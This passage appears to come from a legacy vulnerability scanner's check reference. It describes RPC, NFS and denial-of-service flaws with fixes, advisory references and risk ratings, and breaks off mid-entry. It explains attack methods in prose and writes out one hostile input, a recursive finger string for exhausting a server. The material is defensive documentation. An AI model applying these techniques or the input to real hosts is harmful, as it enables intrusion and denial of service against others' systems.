The portmapper, which provides service to translate port numbers for RPC services, has a number of weaknesses. One of these weaknesses allows remote users to register/unregister services on a remote host by way of forging UDP packets. An attacker can utilize this to gain increased access to the local machine. An example attack involves unregistering a service from the portmapper, and then re-registering the service on a new port, which they have control over. This allows an attacker to impersonate security critical services and gain increased access to the network.

Some versions of ONC RPC for Microsoft Windows NT are also known to contain this vulnerability.

Suggestions
We suggest you install Wietse Venema's most recent replacement portmapper. This portmapper is available at the following location:
ftp://ftp.win.tue.nl/pub/security

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium

Underlying Cause: Implementation
Impact of Attack: Availability

6019. Mount & NIS services on non-reserved ports check

Verbose Description
This module checks for mount daemon and NIS services running on non privileged ports. Any of the above services running on non-reserved are most likely vulnerable to port hijacking. If a user can hijack these services, he can then intercept or supply data from or to client programs.

Suggestions
This problem has been solved in newer releases of Free UNIX's such as OpenBSD and Linux. Commercial vendors have yet to address this problem as of the date this was written at (09/20/96). We suggest you check with your vendor for a fix.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

6020. Portmapper register/unregister check

Verbose Description
This module determines whether attackers can register and unregister services on your portmapper/rpcbind by using standard RPC calls. This vulnerability does not require address forgery to succeed and provides any network user with the ability to register new services and unregister existing services.

Some versions of ONC RPC for Microsoft Windows NT are also known to contain this vulnerability.

BSDI 2.1, 3.0 and Ultrix are known to be vulnerable to this attack.

Security Concerns
If an attacker can unset services, he can deny access to critical services on the machine. An attacker with local access to the machine who can set new services can impersonate a server and compromise the security of clients that depend on that service.

Suggestions
We suggest that you install Wietse Venema's most recent replacement portmapper. This portmapper is available at the following location:
ftp://ftp.win.tue.nl/pub/security

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Availability

6021. Portmapper register/unregister through callit

Verbose Description
This check determines if portmapper services can be set and unset by utilizing a feature within the portmapper/rpcbind program known as callit(). The callit() function allows forwarding of requests to local services as though they were coming from the local system itself. This allows attackers to bypass IP address based authentication checks, to register and un-register services, in addition to exploiting other services. This check attempts to register a new service on the portmapper/rpcbind by utilizing this technique. In this way the set request appears to come from the local machine and may bypass address checks.

Security Concerns
If an attacker can unset services, he can deny access to critical services on the machine. An attacker with local access to the machine who can set new services can impersonate a server and compromise the security of clients that depend on the service.

Suggestions
We suggest you install Wietse Venema's most recent replacement portmapper. This portmapper is availible at the following location:

ftp://ftp.win.tue.nl/pub/security

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Availability

6025. Sequential port allocation check

Verbose Description
This check is designed to test if a host will spawn it's listening ports in sequential order. If this is the case attackers can implement host spoofing techniques to services which poll other hosts for authentication. Examples of such services, would be for instance, any service which requires authentication from DNS servers.

Suggestions
We suggest that if it is within your ability, to ensure your host does not spawn ports sequentially.

Risk Factor: Medium
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

6027. rpc.ttdbserver buffer overflow vulnerability

Verbose Description
The ToolTalk service allows independently developed applications to communicate with each other by exchanging ToolTalk messages. Using ToolTalk, applications can create open protocols which allow different programs to be interchanged, and new programs to be plugged into the system with minimal reconfiguration.

The ToolTalk database server (rpc.ttdbserverd) is an ONC RPC service which manages objects needed for the operation of the ToolTalk service. ToolTalk-enabled processes communicate with each other using RPC calls to this program, which runs on each ToolTalk-enabled host. This program is a standard component of the ToolTalk system, which ships as a standard component of many commercial Unix operating systems. The ToolTalk database server runs as root.

Due to an implementation fault in rpc.ttdbserverd, it is possible for a malicious remote client to formulate an RPC message that will cause the server to overflow an automatic variable on the stack. By overwriting activation records stored on the stack, it is possible to force a transfer of control into arbitrary instructions provided by the attacker in the RPC message, and thus gain total control of the server process.

Security Concerns

Utilizing this vulnerability an attacker may gain total control of the vulnerable host.

Suggestions
If ToolTalk is not strictly necessary disable the ToolTalk database service by killing the rpc.ttdbserverd process and removing it from any OS startup scripts.
Contact your vendor for a patch.

References
Network Associates Inc. Security Advisory 29
http://www.nai.com/products/security/advisory/29_ttdbserver_adv.asp

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

6028. rpc.rexd check

Verbose Description
This check attempts to exploit a weakness in rpc.rexd. The weakness in question is that common implementations of rexd take their authentication from the client. This allows remote users to execute commands remotely with any other UID (User ID) than root.

Suggestions
We suggest you disable rexd on your host.

References
CERT Advisory CA-92:05.AIX.REXD.Daemon.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-92:05.AIX.REXD.Daemon.vulnerability
CIAC Advisory c-21.ciac-aix-rexd
ftp://ciac.llnl.gov/pub/ciac/bulletin/c-fy92/c-21.ciac-aix-rexd

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

6034. nfsd port 4045 Check

Verbose Description
This check attempts to determine whether the target host is running a version of lockd which listens on port 4045 and is capable of servicing NFS requests.

Security Concerns
Filters intended to block NFS traffic will be ineffective unless BOTH tcp and udp ports 4045 are blocked as well.

Suggestions
Disallow udp packets destined for port 4045, and disallow inbound tcp connections to TCP port 4045 at your packet filter, and contact your OS vendor for a patch.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Authorization

6035. SGI fam server check

Verbose Description
This check attempts to obtain a list of files from the SGI fam service.

Security Concerns
The fam server will give out a complete list of files and directories on your system to anybody who asks.

Suggestions
Disabling the fam service will prevent this, but will also prevent some SGI applications, such as fm, from working in an nfs environment. If disabling fam prevents fm from running properly, contact SGI for a fix.

References
NAI Security Advisory #16
http://www.nai.com/products/security/advisory/16_fam_adv.asp

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

6036. rpc.statd Bounce vulnerability

Verbose Description
A vulnerability in the rpc.statd service provides attackers with the ability to "bounce" RPC calls through this service. Using this technique, an attacker has the ability to pass a packet, as though it were coming from the local system, including over the loopback interface.

Security Concerns
Utilizing this vulnerability an attacker may exploit other RPC services running on the target host. The example used in this module is to register a new service on the rpcbind service.

Risk Factor: High
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: System Integrity

6037. Solaris automountd vulnerability

Verbose Description
This module checks for a vulnerability in the automount daemon on Solaris systems. This vulnerability can allow local users to obtain increased access to the target host. This vulnerability can also be combined with a vulnerability present in the rpc.statd service, to exploit automountd remotely.

Security Concerns
Local and remote users have the ability to obtain super-user access to the target system.

Risk Factor: High
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High

Underlying Cause: Implementation

Impact of Attack: **System Integrity**

7: NETWORKED FILE SYSTEMS

7001. NFS - superfluous server check

Verbose Description
The target host was found to have an NFS server running without any directories being exported. It is not uncommon to see machine running NFS by default when they in fact are not exporting or importing anything. The NFS service is a quite complex service with a long history of security problems. Running it without needing to is not a wise decision.

Suggestions
It is suggested that you disable the NFS service on the target host if you are not exporting any directories.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: Low
Ease of repair: Trivial
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

7002. NFS - world exports found

Verbose Description
The target host was found to have directories exported to "everyone" via NFS. By exporting directories to "everyone", anyone who can connect to the target host is able to access these file systems.

Security Concerns
If the target file systems contain any sensitive information, any user who is able to reach the target host is able to read this information, as well as possibly modify it.

Suggestions
It is recommended that you immediately place access restrictions on the specified file systems, if you are not intending to export them to "everyone". It is also recommended that you prevent the NFS service from passing through your border router by blocking port 2049 TCP and 2049 UDP, if you do not require outsiders to access this host via NFS.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Confidentiality Data Integrity Authorization Availability Intelligence

7003. NFS - exporting out of administrative scope check

Verbose Description
The target host was found to be exporting file systems via NFS to hosts which are outside of the target host's network. You should ensure that your security policy permits exporting of file systems outside of the host's local network.

Suggestions
It is recommended that if you are exporting file systems outside of the local network, that they contain sufficient access restrictions to prevent an attacker from gaining access to the target host by accessing or modifying information on the exported directories.

An option is to export the file systems read-only, as well as making critical files immutable, if the operating system supports this.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/pub_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Confidentiality Data Integrity Authorization Availability Intelligence

7004. MOUNTD - proxy mount vulnerability

Verbose Description
Older portmappers were flawed in as much as they would forward requests from other services on remote hosts, through itself via the callit procedure. When the portmapper forwarded these requests the source address for the request becomes that of the localhost. This attack can be used to talk mountd into mounting file systems to hosts which it does not trust in it's /etc/exports file. This check determines whether your portmapper has this problem.

Suggestions
If the scanner has found that your portmapper allows for proxy mounts we suggest you upgrade your portmapper immediately. You may wish to look into a replacement portmapper.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerability

CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Confidentiality Data Integrity Authorization Availability Intelligence

7006. NFS - exporting sensitive file check

Verbose Description
Exporting sensitive files such as .rhosts, .cshrc etc can open yourself up to a number of attacks provided an attacker can mount your file system in order to either read or write to these files.

Suggestions
We suggest you do not for any reason, export files which pertain to access control, or system configuration. To do so may allow an intruder who is already on your subnet easy access to more machines. It also opens up the possibility that an attacker outside of your subnet with mount privileges may gain access to your hosts.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

7007. NFS - fake UID check

Verbose Description
Older mount daemons could be fooled into providing access under any UID provided an attacker could perform a mount. This check defines if your daemon has this problem.

Suggestions
If the scanner has found your host to be open to this attack we suggest that you upgrade your mount daemon.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

7008. NFS - mknod check

Verbose Description
Some older NFS servers will allow for users to mknod (create) device files on NFS mounted file systems. This could allow a cracker to create a kmem device which was writable that he/she could then use to swap their UID to 0 (root). This check attempts to exploit this problem.

Suggestions
If the scanner has found a host to be vulnerable to this attack we suggest you upgrade your NFS server.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched

ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

7010. NFS - unchecked cd .. check

Verbose Description
Some older mount daemons did not effectively restrict access to mounted file systems. This particular flaw allowed users to cd .. back up the directory tree onto the non exported file system.

Suggestions
If your host has been vulnerable to this problem we suggest you upgrade your mount daemon.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerability
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

7011. MOUNTD - Ultrix/OSF remount check

Verbose Description
Some versions of Ultrix and OSF mount daemons allowed for users outside of their exports list to mount file systems. This check discerns if this problem is present on a target host.

Suggestions
If this check has returned vulnerable we suggest you approach your vendor for a patch.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerabilities
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Confidentiality Data Integrity Authorization Availability Intelligence

7013. MOUNTD - exports list over 256 characters check

Verbose Description
On some mount daemons if the export list is over 256 character long it will allow anyone to mount your NFS shared directories regardless of whether they are in the exports list or not. This check sees if your export list is over 256 character long, and attempts to mount those file systems.

Security Concerns
Remote users can mount your file systems without authorization.

Suggestions
If your host is found to be vulnerable to this attack we suggest you edit

your export list to less than 256 characters.

References
CERT Advisory CA-91:21.SunOS.NFS.Jumbo.and.fsirand
ftp://ftp.cert.org/pub/cert_advisories/CA-91:21.SunOS.NFS.Jumbo.and.fsirand
CERT Advisory CA-92:15.Multiple.SunOS.vulnerabilities.patched
ftp://ftp.cert.org/pub/cert_advisories/CA-92:15.Multiple.SunOS.vulnerabilities.patched
CERT Advisory CA-93:15.SunOS.and.Solaris.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-93:15.SunOS.and.Solaris.vulnerabilities
CERT Advisory CA-94:02.REVISED.SunOS.rpc.mount.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mount.vulnerabilities
CERT Advisory CA-94:15.NFS.Vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Data Integrity Authorization Availability Intelligence

7014. MOUNTD - Linux/Solaris file existance vulnerability

Verbose Description
Linux and Solaris operating systems allow remote user to determine the existance of files on the remote server via rpc.mountd, the NFS mount daemon. By analyzing the error messages returned by the rpc.mountd daemon, an attacker can determine whether files exist, without legitimate access to the NFS server.

Security Concerns
Remote users can search for the existance of key files on a remote server.

Suggestions
Upgrade your server to a newer release which has this problem fixed.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation

Impact of Attack: **Intelligence**

8: DENIAL OF SERVICE ATTACKS

8001. Echo/chargen packet flood check

Verbose Description

The character generator (chargen) service is designed to simply generate a stream of characters. It is primarily used for testing purposes. Remote users/intruders can abuse this service by exhausting system resources.

Spoofed network sessions that appear to come from that local system's echo service can be pointed at the chargen service to form a "loop." This session will cause huge amounts of data to be passed in an endless loop that causes heavy load to the system.

When this spoofed session is pointed at a remote system's echo service, this denial of service attack will cause heavy network traffic/overhead that considerably slows your network down.

It should be noted that an attacker does not need to be on your subnet to achieve this attack as he/she can forge the source addresses to these services with relative ease.

Denial of Service (DoS) attacks are usually easy to accomplish and harder to mitigate. Often the vulnerability is presented in the operating system (OS) feature implementation (i.e. IP packet handling) or application software bug (i.e. improper boundary checking, resource limitations, or untested interactions)

The main defenses against DoS attacks are:

- maintain -- apply appropriate vendor functionality and security patches to reduce the risk
- minimalism -- remove unnecessary services and functionalities to remove a Dos attack through that vector
- harden -- to have configured your system with enough resources
  - to withstand that attack
  - to "raise the bar" on the attacker and make it require more effort to be sucessful
- monitor -- to have and monitor audit trails, logs and monitoring programs to discover the attack

Suggestions

We suggest you comment chargen out of /etc/inetd.conf. This service was actually designed to debug TCP, in it's initial stages of development. It should not be needed on your host.

The lines in the /etc/inetd.conf are:

```
chargen      stream  tcp    nowait  root    internal
chargen      dgram   udp    wait    root    internal
```

Place a # character as the first character of each line and restart the inetd
service daemon. This is accomplished by finding the process id via the 'ps' command and piping it to 'grep'. On SysV Unix, this would be 'ps -e | grep inetd' and on BSD Unix, 'ps -ax | grep inetd' You then need to send a HANGUP signal to that process id with 'kill -HUP <that process id you found>'

You can check that the service is not listening with the 'netstat' command.

References
CERT Advisory CA-96.01.UDP_service_denial
ftp://ftp.cert.org/pub/cert_advisories/CA-96.01.UDP_service_denial

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Availability

8002. Recursive finger check

Verbose Description
Older finger daemons supported "gatewaying" the finger command where a user could finger a user@someotherhost@thathost. This was not a common use of the finger daemon. It also could be forced to do recursive searches if a remote user submitted a large number of 'at' symbols before the hostname (e.g finger @@@@@@@@thathost)

If you are running a vulnerable finger daemon this will force your machine to fill the process table with recursive searches. In theory if enough 'at's are supplied it will force the machine to swap out, and eventually utilize all of it memory to this task.

Denial of Service (DoS) attacks are usually easy to accomplish and harder to mitigate. Often the vulnerability is presented in the operating system (OS) feature implementation (i.e. IP packet handling) or application software bug (i.e. improper boundary checking, resource limitations, or untested interactions)

The main defenses against DoS attacks are:
- maintain -- apply appropriate vendor functionality and security patches to reduce the risk
- minimalism -- remove unnecessary services and functionalities to remove a Dos attack through that vector
- harden -- to have configured your system with enough resources - to withstand that attack

- to "raise the bar" on the attacker and make it require more effort to be sucessful
- monitor -- to have and monitor audit trails, logs and monitoring programs to discover the attack

Suggestions
You should strong consider running a service that provides information to unauthorized remote users. This will provide an enticement risk.

There are few business or technical reasons to enable the finger service. Some ISPs and companies do use it for PGP key sharing and trouble ticket tracking (e.g. finger ticketnumber@myisp.com). These are specialized applications and usually are not the finger daemon application.

If you have a need to support the finger service, consider using TCP wrappers to restrict its use. You may wish to upgrade your finger daemon from your vendor or find a freeware finger daemon which is not vulnerable. Some vendors fix this by not permitting recursive lookups, other solve the problem by short-circuiting multiple 'at' symbols in a row.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Availability

8003. Solaris rpcbind kill check

Verbose Description
Due to a bug in Solaris's libnsl up to 2.5 an attacker can force rpcbind to stop offering single service lookups. In effect, any remote client querying a remote server which is run out of rpcbind, will not be able to connect to the application being served.

Suggestions
We suggest you approach Sun for a fix, or consider running a freeware rpcbind.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Availability

8004. SYN flood check

Verbose Description
A common and dangerous denial of service of attack is called SYN flooding. This attack can be used to completely disable your network services by flooding them with connection requests. This will fill the queue which maintains a list of unestablished incoming connections, forcing it to be unable to accept additional connections.

Security Concerns
Malicious users can completely disable network services, including Web servers, FTP servers, and email traffic.

Suggestions
As with all Denial of Service (DoS) attacks, these are hard to protect against
and easy to perform. Methods of protection from DoS include:

- "hardening" your system to withstand the attack by adding more memory, tuning your system to increase the kernel network values and keeping up to date with current security and functionality patches

- enhance monitoring and audit trails so as to identify when your system is under attack and system resources are being threatened

- protect your critical systems with firewall and/or packet filtering

If your host has come up vulnerable to this attack we suggest you approach your vendor for a fix.

References
CERT Advisory CA-96.21.tcp_syn.flooding
ftp://ftp.cert.org/pub/cert_advisories/CA-96.21.tcp_syn.flooding
Sun security-alert-136
http://sunsolve.sun.com/sunsolve/secbulletins/security-alert-136.txt
SGI Advisory 19961202-01-PX
ftp://sgigate.sgi.com/security/19961202-01-PX
IBM ERS Advisory ERS-SVA-E01-1996:006.1
http://www.ers.ibm.com/tech-info/advisories/sva/1996/ERS-SVA-E01-1996:006.1.txt

Risk Factor: High
Ease of repair: Difficult
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8005. ICMP unreachable check

Verbose Description
A common denial of service attack is to send ICMP unreachable packets from a spoofed address to a host. This causes the host being hit with the packets to tear down all legitimate TCP connections with the host which is being spoofed in the ICMP packet.

Suggestions
Most vendors have kernel patches to deal with this problem. We suggest you approach your vendor for the appropriate patch.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8006. Routed append check

Verbose Description
Most route daemons which are based off of generic Berkeley source code have a bug which will allow remote users to append garbage over system critical files. If this module returns vulnerable, it does not necessarily mean that your host is vulnerable to this attack. The scanner has attempted to create a file in /tmp called Cybercop.in.routed.vulnerability. There is no method for the scanner to determine whether this file was successfully created. Please check the /tmp directory on this host for the existence of this file.

Suggestions
If your host has come up vulnerable to this attack we suggest you approach your vendor for a fix.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8007. Linux inetd check

Verbose Description
On some Linux hosts if a SYN packet is sent and immediately followed by an RST packet, it will kill inetd(8) on the target host.

Suggestions
If one of your Linux hosts comes up vulnerable to this attack we suggest you upgrade your kernel to it's latest patch level.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8008. SunOS 4.1.3 UDP reboot check

Verbose Description
Unpatched versions of SunOS 4.1.3 can be forced to reboot if given a UDP packet with bizarre options set.

Suggestions
If your SunOS system is vulnerable to this attack we suggest you approach Sun for a fix.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8009. In.comsat check

Verbose Description
The comsat daemon is a program which watches for incoming mail, and notifies a user of newly arrived mail. The problem with comsat is that it can be fooled into issuing endless messages, resulting in a denial of service attack to users.

Suggestions
In.comsat's behaviour is controlled by a program called biff(1) which tells in.comsat whether a user should be informed of new mail. You can disable in.comsat for a single login session by issuing the command:

```
biff -n
```

You also have the option of removing in.comsat from your /etc/inetd.conf.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8010. PASV denial of service check

Verbose Description
The PASV command in FTP servers asks the server machines to open a port and return this port number to the client. The problem is that many FTP servers will allow a user to continuously issue PASV commands spawning open ports until there are none left.

Suggestions
You have the option of upgrading your FTP server to a fixed version (if your using freeware) or approaching your vendor for a fix. You also have the option of disabling the PASV command within your FTP server, although this will both go against RFC 1123 and cause you problems when dealing with users ftping to your host from behind firewalls.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8011. Portmaster reboot check

Verbose Description
Older portmasters could be forced to reboot if sent packets with particular commands in them.

Suggestions
If your Portmaster is vulnerable to this attack we suggest you approach Livingston for an upgrade of your ComOS operating system.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability

8016. Syslog write check

Verbose Description
This check has CyberCop Scanner attempt to write information to your syslog daemon. If successful it indicates an attacker could write enough erroneous data to your syslog file to fill your log files and cause hard disk failure.

Suggestions
For stopping this from the outside we suggest you block all incoming connections directed at port 514. In order to stop this from occurring on your local subnet we suggest you add support into your syslog daemon to handle access lists. Some operating systems, such as OpenBSD, will deliver a false positive on this check because syslogd will receive packets on the socket but immediately discards them (the same socket is also used for @LOGHOST operation, hence there is no real attack).

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
